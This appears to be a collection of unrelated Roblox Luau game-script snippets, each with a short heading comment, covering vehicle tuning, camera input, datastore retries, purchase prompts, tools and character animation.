FL.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
FR.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
RL.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
RR.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
FL.AngularVelocity = 0
FR.AngularVelocity = 0
RL.AngularVelocity = 0
RR.AngularVelocity = 0
FL.MotorMaxAcceleration = 30
FR.MotorMaxAcceleration = 30
RL.MotorMaxAcceleration = 30
RR.MotorMaxAcceleration = 30
end
if script.Parent.Functions.ShiftDownRequested.Value == true then
script.RPMManagement.Disabled = false
if script.Parent.Storage.Brake.Value ~= 1 and carSeat.Storage.Handbrake.Value ~= true then
FL.MotorMaxTorque = 0
FR.MotorMaxTorque = 0
RL.MotorMaxTorque = 0
RR.MotorMaxTorque = 0
end
if script.Parent.Storage.TransmissionType.Value == "HPattern" then
end
if script.Parent.Storage.TransmissionType.Value == "Automatic" then
rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value))
end
if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value))
end
if script.Parent.Storage.TransmissionType.Value == "CVT" then
end
end
if speed < 2 then
coast = 0
else
coast = 5
end
m = (hp.Value / 2155)
if rpm.Value < 950/(four/2) then
ch = 4
else
ch = 1
end
if carSeat.Storage.Mode.Value == "City" then
mode = 0.81
elseif carSeat.Storage.Mode.Value == "Sport" then
mode = 0.98
elseif carSeat.Storage.Mode.Value == "Snow" then
mode = 0.6
end
carSeat.Parent.Engine.Intake.Pitch = 1
|
------------------------- |
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Really red")
R.Function2.Disabled = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-----------------
--| Constants |--
----------------- |
local GRAVITY_ACCELERATION = workspace.Gravity
local RELOAD_TIME = 3.5 -- Seconds until tool can be used again
local ROCKET_SPEED = 800 -- Speed of the projectile
local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534'
local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25)
local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)
|
--Updates the gear number |
val.Gear.Changed:connect(function()
Guages.Gear.Text = tostring(val.Gear.Value)
end)
|
-- ============================================
-- Falling Objects |
local cube =
{
MODEL = ServerStorage["Cube"],
DAMAGE = 150,
NUMBER_PER_MINUTE = 40,
CLEANUP_DELAY_IN_SECONDS = 20
}
table.insert(fallingStuffTable, cube)
|
--[Variables]-- |
local BHText = workspace.HoursValues.BHTextValue;
local BHValue = workspace.HoursValues.BHValue;
local BHEndValue = workspace.HoursValues.BHEndValue;
local Stunning = script.Parent.Stunning;
local StunsValue = script.Parent.Stun.GetStuns
|
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
function Datastore.Get(datastore, key, scope)
--- Sanity check
if key == nil or datastore == nil then
print("Key or datastore nil", true)
return
end
--- If datastore argument is not a datastore obj - find it, and cache it to save memory
if type(datastore) == "string" then
if not datastoresCache[datastore] then
datastoresCache[datastore] = {}
end
if not datastoresCache[datastore][scope] then
datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
end
datastore = datastoresCache[datastore][scope]
end
--- Attempt it
local attempts = 0
local success = false
local returnedValue
--
while (attempts < maxGetAttempts and returnedValue == nil) do
attempts = attempts + 1
success = pcall(function()
returnedValue = datastore:GetAsync(key)
end)
if not success then
wait(.5)
end
end
--- Debug prints
if Debug then
if attempts >= maxGetAttempts or returnedValue == nil then
print("Could not get key --- " .. key .. "", true)
end
end
--
return returnedValue, success
end
function Datastore.Set(datastore, key, value, scope)
--- Sanity check
if key == nil or value == nil or datastore == nil then
print("Key, value, or datastore nil", true)
return false
end
--- If datastore argument is not a datastore obj - find it, and cache it to save memory
if type(datastore) == "string" then
if not datastoresCache[datastore] then
datastoresCache[datastore] = {}
end
if not datastoresCache[datastore][scope] then
datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
end
datastore = datastoresCache[datastore][scope]
end
--- Attempt it
local attempts = 0
local success = false
--
repeat
attempts = attempts + 1
success = pcall(function()
datastore:SetAsync(key, value)
end)
if not success then
wait(.5)
end
until success or attempts >= maxSetAttempts
--- Debug prints
if Debug then
if attempts >= maxSetAttempts then
print("Failed to set key --- " .. key .. "", true)
end
end
--
return success
end
function Datastore.Update(datastore, key, updateFunction, scope)
--- Sanity check
if key == nil or updateFunction == nil or datastore == nil then
print("Key, function, or datastore nil", true)
return false
end
--- If datastore argument is not a datastore obj - find it, and cache it to save memory
if type(datastore) == "string" then
if not datastoresCache[datastore] then
datastoresCache[datastore] = {}
end
if not datastoresCache[datastore][scope] then
datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
end
datastore = datastoresCache[datastore][scope]
end
--- Attempt it
local attempts = 0
local success = false
--
repeat
attempts = attempts + 1
success = pcall(function()
datastore:UpdateAsync(key, updateFunction)
end)
if not success then
wait(.5)
end
until success or attempts >= maxUpdateAttempts
--- Debug prints
if Debug then
if attempts >= maxUpdateAttempts then
print("Failed to update key --- " .. key .. "", true)
end
end
--
return success
end
|
--[[
Player state. Upon entering state Dead, will try and switch to spectating shortly after.
]] |
local PlayerDead = {}
|
--// if a player is done typing, allow them to use Q/E to change spec again //-- |
UIS.TextBoxFocusReleased:connect(function()
focusedOnText = false
end)
|
---[[ Chat Text Size Settings ]] |
module.ChatWindowTextSize = 22
module.ChatChannelsTabTextSize = 18
module.ChatBarTextSize = 22
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 18
module.ChatBarTextSizePhone = 14
|
--[[script.Parent.MouseButton1Click:connect(function()
p = script.Parent.Parent.Parent.Parent.Parent
script.Parent.Parent.Visible = false
if p.Order.Value == true then
wait()
ids = 21341246
game:GetService("MarketplaceService"):PromptProductPurchase(p, ids)
print('passed.5')
wait()
script.Parent.Parent.Parent:Destroy()
-- setup local variables
end
end)--]] |
ID = game.Workspace.McDId.Value
script.Parent.MouseButton1Click:connect(function()
script.Parent.Parent.Visible = false
Service = game:GetService('MarketplaceService')
Player = script.Parent.Parent.Parent.Parent.Parent
local s,e = coroutine.resume(coroutine.create(function()
if Player:findFirstChild("Backpack") then
if Player:findFirstChild("Backpack") then
Service.ProcessReceipt = (function(receiptInfo)
for i,v in pairs(Player.Order:GetChildren()) do
if v:IsA("BoolValue") then
game.Lighting[v.Name]:clone().Parent = Player.Backpack
end
end
Player.Order:ClearAllChildren()
Player.Order.Value = false;
Service.ProcessReceipt = nil;
for a,b in pairs(Player.PlayerGui:GetChildren()) do
if b.Name == "Incomplete" then
b:Destroy()
end
end
end)
Service:PromptProductPurchase(Player,ID);
script.Parent.Parent.Parent.Name = "Incomplete"
end
end
end))
if not s then Instance.new("Hint",game.Workspace).Text = "Error: "..e end
end)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 425 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Listener for changes to workspace.CurrentCamera |
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
if not FFlagUserDontAdjustSensitvityForPortrait then
local camera = game.Workspace.CurrentCamera
if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then
-- Screen has portrait orientation, swap X and Y sensitivity
return translationVector * Vector2.new( sensitivity.Y, sensitivity.X)
end
end
return translationVector * sensitivity
end
function BaseCamera:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
self:ConnectInputEvents()
self:BindContextActions()
if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
self:DisconnectInputEvents()
self:UnbindContextActions()
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
end
end
function BaseCamera:GetEnabled()
return self.enabled
end
function BaseCamera:OnInputBegan(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Down(input, processed)
end
end
function BaseCamera:OnInputChanged(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
self:OnMouseMoved(input, processed)
end
end
function BaseCamera:OnInputEnded(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Up(input, processed)
end
end
function BaseCamera:OnPointerAction(wheel, pan, pinch, processed)
if processed then
return
end
if pan.Magnitude > 0 then
local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector
self.rotateInput = self.rotateInput + rotateDelta
end
local zoom = self.currentSubjectDistance
local zoomDelta = -(wheel + pinch)
if abs(zoomDelta) > 0 then
local newZoom
if self.inFirstPerson and zoomDelta > 0 then
newZoom = FIRST_PERSON_DISTANCE_THRESHOLD
else
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
end
self:SetCameraToSubjectDistance(newZoom)
end
end
function BaseCamera:ConnectInputEvents()
self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed)
self:OnPointerAction(wheel, pan, pinch, processed)
end)
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
self:OnInputChanged(input, processed)
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
self:OnInputEnded(input, processed)
end)
self.menuOpenedConn = GuiService.MenuOpened:connect(function()
self:ResetInputStates()
end)
self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if self.activeGamepad ~= gamepadEnum then return end
self.activeGamepad = nil
self:AssignActivateGamepad()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if self.activeGamepad == nil then
self:AssignActivateGamepad()
end
end)
self:AssignActivateGamepad()
self:UpdateMouseBehavior()
end
function BaseCamera:BindContextActions()
self:BindGamepadInputActions()
self:BindKeyboardInputActions()
end
function BaseCamera:AssignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if self.activeGamepad == nil then
self.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < self.activeGamepad.Value then
self.activeGamepad = connectedGamepads[i]
end
end
end
if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
self.activeGamepad = Enum.UserInputType.Gamepad1
end
end
function BaseCamera:DisconnectInputEvents()
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
self.inputBeganConn = nil
end
if self.inputChangedConn then
self.inputChangedConn:Disconnect()
self.inputChangedConn = nil
end
if self.inputEndedConn then
self.inputEndedConn:Disconnect()
self.inputEndedConn = nil
end
end
function BaseCamera:UnbindContextActions()
for i = 1, #self.boundContextActions do
ContextActionService:UnbindAction(self.boundContextActions[i])
end
self.boundContextActions = {}
end
function BaseCamera:Cleanup()
if self.pointerActionConn then
self.pointerActionConn:Disconnect()
self.pointerActionConn = nil
end
if self.menuOpenedConn then
self.menuOpenedConn:Disconnect()
self.menuOpenedConn = nil
end
if self.mouseLockToggleConn then
self.mouseLockToggleConn:Disconnect()
self.mouseLockToggleConn = nil
end
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
if self.touchActivateConn then
self.touchActivateConn:Disconnect()
self.touchActivateConn = nil
end
self.turningLeft = false
self.turningRight = false
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
self.userPanningTheCamera = false
self.rotateInput = Vector2.new()
self.gamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self.fingerTouches = {}
self.dynamicTouchInput = nil
self.numUnsunkTouches = 0
self.startingDiff = nil
self.pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Olive",Paint)
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local u1 = nil;
local u2 = require(script.LightningBolt);
function v1.Bolt(p1, p2, p3, p4, p5)
local v2 = Instance.new("Part");
v2.Size = Vector3.new(0, 0, 0);
v2.Transparency = 1;
v2.Anchored = true;
v2.CanCollide = false;
v2.Parent = workspace;
local v3 = v2:Clone();
local l__Ignored__4 = workspace.Ignored;
v2.Parent = l__Ignored__4;
v3.Parent = l__Ignored__4;
v2.Position = p1;
v3.Position = p2;
local v5 = CFrame.fromAxisAngle((v3.Position - v2.Position).Unit, 2 * math.random(0.1, 10) * math.pi);
local v6 = Instance.new("Attachment");
local v7 = Instance.new("Attachment");
v6.Parent = v2;
v7.Parent = v3;
v6.WorldAxis = v5 * v6.WorldAxis;
v7.WorldAxis = v5 * v7.WorldAxis;
if p5 == true then
u1.Explode(v3.Position, 1, 20, Color3.fromRGB(90, 80, 255), Color3.fromRGB(90, 80, 255), Vector3.new(0, 2, 0), p4);
end;
local u3 = u2.new(v6, v7, p3);
coroutine.resume(coroutine.create(function()
wait(p4);
u3:Destroy();
v2:Destroy();
v3:Destroy();
v6:Destroy();
v7:Destroy();
end));
return u3;
end;
function v1.Explode(p6, p7, p8, p9, p10, p11, p12, p13)
local v8 = require(script.LightningBolt.LightningExplosion);
v8.new(p6, p7, p8, p9, p10, p11);
return v8;
end;
function v1.Sparks(p14, p15)
return require(script.LightningBolt.LightningSparks).new(p14, p15);
end;
u1 = v1;
return nil;
|
--[[Transmission]] |
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
|
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GreenTopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.25,0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\ |
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
local character = player.Character or player.CharacterAdded:Wait()
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil
local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")
|
--[[ Script Variables ]] | --
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local Tools = {}
local ToolEquipped = nil
local RevertAutoJumpEnabledToFalse = false
local ThumbstickFrame = nil
local GestureArea = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}
local MoveTouchObject = nil
local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil -- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
local IsFirstTouch = true
|
-------------------------------------------------------------------------- |
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 5.0 ,
FTargetFriction = 1.1 ,
FMinFriction = .5 ,
RWearSpeed = 9.0 ,
RTargetFriction = 2.0 ,
RMinFriction = .5 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = 0 , --SS6 Default = .5
RElasticity = 0 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 9.8 --SS6 Default = 3.6
}
|
--[[
Destroys the component
]] |
function Window:destroy()
for _, connection in pairs(self._connections) do
connection:Disconnect()
end
end
return Window
|
--------LEFT DOOR -------- |
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) |
--Game which use Donor |
local gamesWithDonor = {
{574407221, "Super Hero Tycoon"};
{2921400152, "4PLR Tycoon"};
{1828225164, "Guest World"};
{591993002, "OHD Roleplay World"};
{4823091615 , "Paradise Life"};
{49254942, "2 Player House Tycoon"};
{3169584572, "Meme Music"};
{2764548803, "Island Hotel"};
{3093229294, "Animations: Mocap"};
{3411100258, "evry bordr gam evr"};
{3108078982, "HD Admin House"};
{12996397, "Mega Fun Obby 🌟"};
{184558572, "Survive the Disasters"};
{4522347649, "[FREE ADMIN]"};
--{0, ""};
}
local coreFunctions
repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable
local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400)
for i, gameData in pairs(gamesWithDonorSorted) do
local gameId = gameData[1]
local gameName = gameData[2]
local row = math.ceil(i/2)
local column = i % 2
local gamePage
if column == 1 then
gamePage = templateGame:Clone()
gamePage.Name = "AI Game".. row
gamePage.Visible = true
gamePage.Parent = pages.donor
else
gamePage = pages.donor["AI Game".. row]
end
local gameThumbnail = gamePage["GameImage"..column]
local gameLabel = gamePage["GameName"..column]
local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420"
gameThumbnail.Image = image
gameLabel.Text = gameName
gameThumbnail.Visible = true
gameLabel.Visible = true
--Teleport to game
local selectButton = gameThumbnail.Select
local clickFrame = gameThumbnail.ClickFrame
selectButton.MouseButton1Click:Connect(function()
teleportFrame.ImageLabel.Image = image
teleportFrame.TeleportTo.TextLabel.Text = gameName.."?"
teleportFrame.MainButton.PlaceId.Value = gameId
main:GetModule("cf"):ShowWarning("Teleport")
end)
selectButton.MouseEnter:Connect(function()
if not main.warnings.Visible then
clickFrame.Visible = true
end
end)
selectButton.MouseLeave:Connect(function()
clickFrame.Visible = false
end)
teleportFrame.Visible = true
end
|
----------SCRIPTED BY ZEDARKALIEN---------- |
local button = script.Parent
local player = game.Players.LocalPlayer
local GamepassId = script.Parent.GamepassId
button.MouseButton1Click:connect(function()
if player then
game:GetService("MarketplaceService"):PromptGamePassPurchase(player, GamepassId.Value)
end
end)
|
--Drop on Death Script
--Unless you know what you're doing, do not modify this script. |
if script.Parent.Parent:IsA("Backpack") then --This ensures that the tool's parent is a player's backpack.
local player = script.Parent.Parent.Parent --This identifies the player with the tool.
local character = player.Character --This identifies the character holding the tool.
local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character.
local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid".
local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript.
characterscript.Parent = character --This puts the CharacterScript inside the character.
characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside.
characterscript.Player.Value = player --This sets the player value to the player with the tool.
characterscript.Disabled = false --This enables the CharacterScript clone.
if humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that "Humanoid" and "HumanoidRootPart" exist inside the character.
humanoid.Died:Connect(function() --This detects the death of the character.
script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position.
script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up.
end)
end
elseif script.Parent.Parent:IsA("Model") then --If the tool's parent is a model, then the code below will run instead.
local character = script.Parent.Parent --This identifies the character holding the tool.
local player = game.Players:GetPlayerFromCharacter(character) --This identifies the player of the character.
local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character.
local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid".
local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript.
characterscript.Parent = character --This puts the CharacterScript inside the character.
characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside.
characterscript.Player.Value = player --This sets the player value to the player with the tool.
characterscript.Disabled = false --This enables the CharacterScript clone.
if player ~= nil and humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that the player exists and "Humanoid" and "HumanoidRootPart" exist inside the character.
humanoid.Died:Connect(function() --This detects the death of the character.
script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position.
script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up.
end)
end
end
script.Parent.AncestryChanged:Connect(function() --This detects a change of the tool's parent.
if script.Parent.Parent:IsA("Backpack") then --This ensures that the tool's parent is a player's backpack.
local player = script.Parent.Parent.Parent --This identifies the player with the tool.
local character = player.Character --This identifies the character holding the tool.
local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character.
local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid".
local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript.
characterscript.Parent = character --This puts the CharacterScript inside the character.
characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside.
characterscript.Player.Value = player --This sets the player value to the player with the tool.
characterscript.Disabled = false --This enables the CharacterScript clone.
if humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that "Humanoid" and "HumanoidRootPart" exist inside the character.
humanoid.Died:Connect(function() --This detects the death of the character.
script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position.
script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up.
end)
end
elseif script.Parent.Parent:IsA("Model") then --If the tool's parent is a model, then the code below will run instead.
local character = script.Parent.Parent --This identifies the character holding the tool.
local player = game.Players:GetPlayerFromCharacter(character) --This identifies the player of the character.
local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character.
local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid".
local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript.
characterscript.Parent = character --This puts the CharacterScript inside the character.
characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside.
characterscript.Player.Value = player --This sets the player value to the player with the tool.
characterscript.Disabled = false --This enables the CharacterScript clone.
if player ~= nil and humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that the player exists and "Humanoid" and "HumanoidRootPart" exist inside the character.
humanoid.Died:Connect(function() --This detects the death of the character.
script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position.
script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up.
end)
end
end
end)
|
------------------
------------------ |
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
